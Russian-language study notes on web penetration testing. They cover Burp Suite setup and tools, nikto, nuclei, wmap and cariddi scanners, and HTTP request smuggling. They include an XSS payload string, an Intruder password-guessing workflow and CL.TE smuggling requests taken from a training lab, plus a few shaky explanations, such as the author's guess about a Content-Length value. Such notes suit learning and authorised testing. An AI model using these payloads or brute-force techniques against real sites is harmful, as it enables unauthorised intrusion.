- Входящий пакет попадает на proxy.
- Происходит проверка совпадения со Scopes.
- В случае совпадения отправляется в инструменты. Иначе отправляется обратно в Proxy.
- Производится обработка, модификация пакета, далее отправляется обратно в Proxy
- Пакет отправляется на выход в соответствии с правилами
Настройки
Проект Настройки бывают пользователя и проекта. Проект = данные + настройки. В Community Edition можно сохранить только настройки, данные придется получать каждый раз. Для каждого блока можно сохранить / загрузить настройки отдельно.
Scopes
Site map. Агрегация данных о структуре сайта. Раздел Display - расширенные инструменты фильтрации отображения, есть регулярки. Можно подсветить нужные запросы (ПКМ - highlight) и/или добавить комментарии, затем по ним отфильтровать. После применения Scopes, исключенные пакеты отображаются в сером цвете.
В Pro версии можно найти отличия между двумя Site Map.
Scope. Ограничение области действия (домен, папка, файлы). Файл в терминах Burp - например для запроса http://one.ru/two/index.php будет index.php. Вариант настройки - запустить браузер и перейти в нем на нужный сайт. Все посещенные сайты в пределах текущей сессии отображаются в разделе Target-Site map
ПКМ-Add to scope По умолчанию для нового проекта все посещенные страницы попадают в историю и другие инструменты. После добавления в scope будет задан вопрос - сохранять ли запросы вне scope. Можно включить обратно.
Есть обычный и расширенный режимы настройки scope. В обычном настраивается только префикс, в расширенном можно ограничить протокол и использовать регулярные выражения для определения сайта, порта, файла.
Страница попадает/исключается при полном совпадении условий.
Можем загрузить список из текстового файла без указания протокола, например в виде
web.cyber-ed.ru
wiki.cyber-ed.ru
www.cyber-ed.ru
В других разделах настраиваются более точные параметры для фильтрации. В разделе Project - Scope есть настройка Drop all out-of-scope requests. Если предыдущие настройки определяли правила попадания страниц в историю, то это блокирует запросы вне scope.
Proxy
В этом разделе есть 3 блока настроек: входящие параметры, перехват трафика и исходящие параметры.
Отправка трафика на другой прокси настраивается в разделе Network-Connections Поддерживаются http и socks. Пример настройки socks для TOR сети.
По умолчанию принимает локальные входящие соединения на 8080 порту http. Можно настроить в режиме прокси для внешних соединений. В Settings - Tools - Proxy нужно добавить Proxy Listeners. Это можно использовать для проксирования внешнего трафика.
Обработка https запросов. Нужно чтобы burp распаковывал трафик, предоставлял возможности модификации и обратно запаковывал трафик.
- Перейти в браузере по адресу http://burp и скачать CA Certificate.
- Преобразовать сертификат
openssl x509 -inform DER -in cacert.der -out cacert.pem - Установить приложение и сертификат
sudo apt install libnss3-tools certutil -d sql:$HOME/.pki/nssdb -A -t "C,," -n "Burp Suite" -i cacert.pem - Перезапустить браузер
Еще дополнительно можно настроить SSL pass-through в случае ошибки SSL
"Незаметный proxy" В случае отсутствия у клиента возможности работать через proxy. На клиенте в host файле меняем ссылку на нужный ресурс.
Поиск и замена данных
Позволяет модифицировать запрос / ответ перед отправкой / возвратом.
Перехват трафика
Перейти во вкладку Proxy->Intercept
Proxy используется в режимах выключенного и включенного перехвата. При включенном перехвате пакеты перед отправкой останавливаются и ожидают, в какой инструмент будут направлены. В разделе Raw можно редактировать данные.
Включить Intercept и открыть браузер
При включенном Intercept, при обращении к странице выводится запрос, и вариант - пропустить или блокировать. Доступна вкладка http history, где можно увидеть историю запросов и просмотреть запрос и ответ.
По умолчанию перехватываются запросы. Можно перехватывать ответы.
Инструменты.
Передача в инструмент копирует данные для анализа. Не отправляет данные дальше.
Repeater - ручной просмотр данных с возможностью редактирования
Intruder - для автоматизированной атаки. Работает по принципу подстановки элементов из словарей
Macros - можно выполнить предварительные действия
Decoder - модуль для кодирования JS скриптов для XSS атак. В связи с близостью XML и html разметки, это необходимо.
Repeater
Модификация http запросов
Перед отправкой, запрос можно модифицировать. Во вкладке http history будут запросы. правая кнопка - отправить в repeater позволяет скопировать запрос, модифицировать и отправить его.
Intruder
Пример подбора пароля. Общая идея:
Поиск нужного пакета
Добавили в Scope адрес сайта, запустили Interception, перешли на страницу авторизации, отправили тестовые данные. В истории находим пакет, который отправлял запрос с логином и паролем:
Отправляем данный пакет в Intruder
Указание типа атаки
От типа атаки зависит дальнейшая настройка. Возможные атаки:
| Sniper |
Один словарь. Обычно используется с одной позицией. Когда позиций несколько - перебор такой: П.1-Эл.1 П.2-значение по умолчанию ... До конца списка. Затем П.1-значение по умолчанию П.2- Эл.1 ... до конца списка. Т е количество запросов будет Длина списка Х Кол-во позиций. Значение по умолчанию - значение, прописанное между $ перед стартом атаки. |
| Battering Ram | Один словарь. Каждый элемент размещается на всех позициях. Кол-во запросов = Длина списка. |
| Pitchfork | Для каждой позиции свой словарь. Элементы подставляются по очереди из каждого словаря последовательно. Т е Позиция 1: Словарь 1 элемент 1 Позиция 2: Словарь 2 элемент 1. Позиция 1: Словарь 1 элемент 2 Позиция 2: Словарь 2 элемент 2 |
| Cluster Bomb | Для каждой позиции свой словарь. Перебираются все комбинации элементов для каждого словаря. |
Настройка точек фаззинга
Для настройки выделяем элемент и нажимаем Add. Вокруг появляется символ $.
Определение словаря подстановки
Дальше интереснее. Можно использовать возможности Burp. Тогда настройка делается через интерфейс. Словарь определяется в разделе Payload. Есть ряд типов словарей, Simple - это простой список. Можно проводить дополнительную модификацию элементов словаря.
Все методы в community версии медленно работают. Можно использовать fuff clusterbomb для ускорения отправки запросов.
Sequencer
Проверка степени случайности данных. Можно ли по некоторому количеству псевдослучайных данных сказать, насколько они случайны, или есть какая-то вычисляемая закономерность?
Decoder
Этот инструмент позволяет преобразовывать текст скрипта в закодированный текст, воспринимаемый системой как валидный текст для сохранения, но хранящий внутри исполняемый код. Например для преобразования строки
"><img src=x onerror=alert(1) />
нужно зайти в Decoder и нажать кнопку Encode as -> HTML
В результате появится второе поле ввода, в котором будет результат.
Обратное преобразование - используя Decode as.
Comparer
Сравнение запросов или ответов.
Расширения
Есть магазин расширений и API для создания собственных (Java, Python, Ruby). Для Python и Ruby требуется настройка окружения Java-...
Nikto, nuclei и др.
Коммерческие:
- acunetix
- netsparker
- IBM AppScan
- WebInspect
Бесплатные:
- OWASP Zap
- W3af
- arachni
- Iron Wasp
- Nexpose (совместим с MSF)
- Nessus (совместим с MSF)
Nikto
nikto -host 172.16.10.11 -port 80
+ Server: Apache/2.4.58 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 29af, size: 63d6cf46a153e, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /backup/: Directory indexing found.
+ /backup/: This might be interesting.
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time: 2025-08-30 20:12:35 (GMT8) (40 seconds)
Nuclei
Отправляет DNS, HTTP, сокеты. Общая база с возможностью расширения. Можно использовать для поиска данных авторизации в локальных файлах.
Основан на YAML шаблонах. Структура шаблона:
| ID | Уникальный идентификатор шаблона |
| Metadata | Описание шаблона (автор, ... |
| Protocol | Протокол |
| Operators | Паттерны и получаемые данные |
Простой шаблон:
id: detect-apache-welcome-page
info:
name: Apache2 Ubuntu Default Page
author: Dolev Farhi and Nick Aleks
severity: info
tags: apache
http:
- method: GET
path:
- '{{BaseURL}}'
matchers:
- type: word
words:
- "Apache2 Ubuntu Default Page: It works"
part: body
wmap
Сканер web уязвимостей, встроенный в MSF. Почему-то предлагается сначала создать новую базу для хранения результатов.
msf > workspace -a for_wmap
msf > workspace
default
* for_wmap
Загружаем в MSF модуль
msf > load wmap
После этого появятся команды сканера. Команда wmap_sites управляет списком сайтов.
| wmap_sites -a http://172.16.194.172 | Добавить сайт для сканирования |
| wmap_sites -l | Список сайтов |
| wmap_sites -d [id] | Удаляет цели из списка по id |
wmap_targets управляет endpoint сайта
Добавляем сайт для сканирования
| wmap_targets -t https://172.16.194.172 | Добавить endpoint для сканирования |
| wmap_targets -l | Список endpoint |
| wmap_sites -d [id] | Удаляет endpoint из списка по id |
wmap_run управляет запуском сканирования
| wmap_run -t | Список модулей, используемых для сканирования |
| wmap_run -e | Выполнить модули |
wmap_vulns выводит информацию об уязвимостях.
| wmap_vulns -l | Список уязвимостей |
Однако в выводе сканера можно увидеть дополнительную информацию, которая не попала в данный список, например предположительную версию web сервера или сертификаты.
В таблице vulns также уязвимости.
Cariddi
Сканер endpoint. Git проекта. Сначала установить go.
Если не ограничить - сначала просматривает все страницы.
| Опции | |
| -e |
Поиск уязвимостей в endpoint -ef string Use an external file (txt, one per line) to use custom parameters for endpoints hunting. |
| -info | Ищет полезную информацию. Например, быстрый поиск email ip Используется самостоятельно. |
| -s |
Hunt for secrets. -sf string Use an external file (txt, one per line) to use custom regexes for secrets hunting. |
| -err | Hunt for errors in websites. |
| -ext int | Hunt for juicy file extensions. Integer from 1(juicy) to 7(not juicy). |
| Настройки формата запроса | |
| -proxy string | Set a Proxy to be used (http and socks5 supported). |
| -headers string | Use custom headers for each request E.g. -headers "Cookie: auth=yes;;Client: type=2". |
| -headersfile string | Read from an external file custom headers (same format of headers flag). |
| -rua | Use a random browser user agent on every request. |
| -ua | Use a custom User Agent. |
| Настройки поиска | |
| -i string | Ignore the URL containing at least one of the elements of this array. |
| -ie value | Comma-separated list of extensions to ignore while scanning.
|
| -it string | Ignore the URL containing at least one of the lines of this file. |
| -md int | Maximum level the crawler will follow from the initial target URL. |
| -intensive | Crawl searching for resources matching 2nd level domain. |
| Скорость работы | |
| -c int | Concurrency level. (default 20) |
| -d int | Delay between a page crawled and another. |
| -t int | Set timeout for the requests. (default 10) |
| Выходной формат | |
| -json | Print the output as JSON in stdout. |
| -oh string | Write the output into an HTML file. |
| -ot string | Write the output into a TXT file. |
| -plain | Print only the results. |
| Дополнительно | |
| -debug | Print debug information while crawling. |
| -examples | Print the examples. |
| -sr | Store HTTP responses. |
| -cache | Use the .cariddi_cache folder as cache. |
HTTP request smuggling
Внедрение в последовательность http запросов. Может быть критичной для HTTP/1, может работать и для HTTP/2 Критическая уязвимость, позволяющая получить доступ к данным и скомпроментировать пользователей.
При архитектуре proxy/load balancer -> backend, балансировщиком отправляется несколько запросов на бэк. Запросы отправляются последовательно, и бэк обязан определять где заканчивается один и начинается следующий.
Важно, чтобы фронт и бэк согласовали границы между запросами. Иначе можно отправить неоднозначный запрос, который будет по-разному интерпретирован интерфейсной и серверной системами
Это работает, поскольку в HTTP/1 есть два варианта определения завершения запроса: заголовки Content-Length и Transfer-Encoding. Content-Length это длина сообщения в байтах.
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
Transfer-Encoding означает, что текст сообщения содержит один или несколько фрагментов данных. Каждый фрагмент содержит размер фрагмента в байтах, перевод на новую строку, сам фрагмент. Сообщение завершается 0 размером фрагмента.
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggling
0
Браузеры не отправляют Transfer-Encoding запросы, это актуально для межсерверного взаимодействия. Так как возможно два варианта, в одном сообщении можно использовать оба заголовка, как будто бы они конфликтуют. Transfer-Encoding приоритетнее, поэтому Content-Length игнорируется. Это эффективно если один бэк, если несколько - проблема:
- некоторые серверы не поддерживают заголовок Transfer-Encoding
- могут поддерживать, но не обработать его, если заголовок запутан.
Если фронт и бэк по-разному ведут себя при обработке заголовка Transfer-Encoding, то могут перепутаться границы запросов. Когда фронт HTTP/2, а бэк HTTP/1 (HTTP downgrading), то будет преобразование форматов.
Вектор атаки
Браузеры и другие клиенты, включая Burp, используют http/2 по умолчанию. Поэтому в Burp необходимо включить http/1 (Inspector -> Request attributes).
Классика: отправка http/1 с двумя заголовками. Финальная реализация зависит от фронта и бэка:
- TE.CL: фронт использует Transfer-Encoding, бэк Content-Length
- TE.TE: фронт и бэк используют Transfer-Encoding, но один из них не обрабатывает его в связи с обфускацией
CL.TE: фронт использует Content-Length, бэк Transfer-Encoding
Пример запроса:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
Для решения лабораторной работы предлагается отправить запрос вида
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
Из-за того, что сервер не поддерживает метод gpost, он должен вернуть ошибку после второй отправки запроса.
Правда почему content-length: 6 - неясно. Возможно перевод строки - 1, 0 - 2, перевод - 1, G - 2